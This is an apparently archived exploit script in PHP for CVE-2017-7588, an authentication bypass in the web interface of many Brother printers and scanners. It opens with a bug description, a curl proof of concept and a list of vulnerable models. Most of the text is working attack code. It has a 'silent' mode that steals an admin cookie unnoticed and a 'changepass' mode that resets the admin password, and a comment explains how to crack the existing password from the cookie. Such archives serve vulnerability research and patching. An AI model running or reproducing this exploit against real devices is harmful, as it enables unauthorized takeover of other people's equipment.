Brother MFC-J6520DW - Authentication Bypass / Password Change

<?php

/*	
								 
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)

--

Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.

PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; 

--

Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.

Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)

This information can be used to crack current password from exported cookie.

Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.

Confirmed vulnerable:
MFC-J6973CDW 
MFC-J4420DW 
MFC-8710DW 
MFC-J4620DW 
MFC-L8850CDW 
MFC-J3720 
MFC-J6520DW 
MFC-L2740DW 
MFC-J5910DW 
MFC-J6920DW 
MFC-L2700DW 
MFC-9130CW 
MFC-9330CDW 
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W

For educational purposes only.

*/


/* ----------------------------- */

$address = "http://192.168.1.111";

//$mode    = "silent";

$mode    = "changepass";
$newpass = "letmein";


/* ----------------------------- */

$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);

function getPwdValue($address) {
	
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
    $dom->loadHTML($content);
	$inputs = $dom->getElementsByTagName('input');
	foreach($inputs as $i) {
		if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
		return $i->getAttribute('name');
		}
	}
	
}

function getLogValue($address) {
			
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address);				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
	$dom->loadHTML($content);
	
	if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) { 
		print 'Seems like password is not set! Exiting.'; exit; }
			
	$value = $dom->getElementById('LogBox')->getAttribute('name');
	return $value;
	
}

function getCookie($host) {
	
	global $address, $user_agent;
	
	$log_var = getLogValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
        $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");					
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	if($content == true) {
	$cookies = array();
	preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);

	if(!empty($cookies['cookie'])) {
		$exploded = explode(';', $cookies['cookie'][0]);
	} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
	
	return trim($exploded[0]);
	
}

if($mode === "silent") {

	print 'Here\'s your authorization cookie: '.getCookie($address);
	
} elseif ($mode === "changepass") {
	
	global $address, $newpass;
	
	$cookie  = getCookie($address);
	$pwd_var = getPwdValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
            "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);

	if($content == true) {
		print 'Password changed to: '.$newpass;
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }	
	
}

?>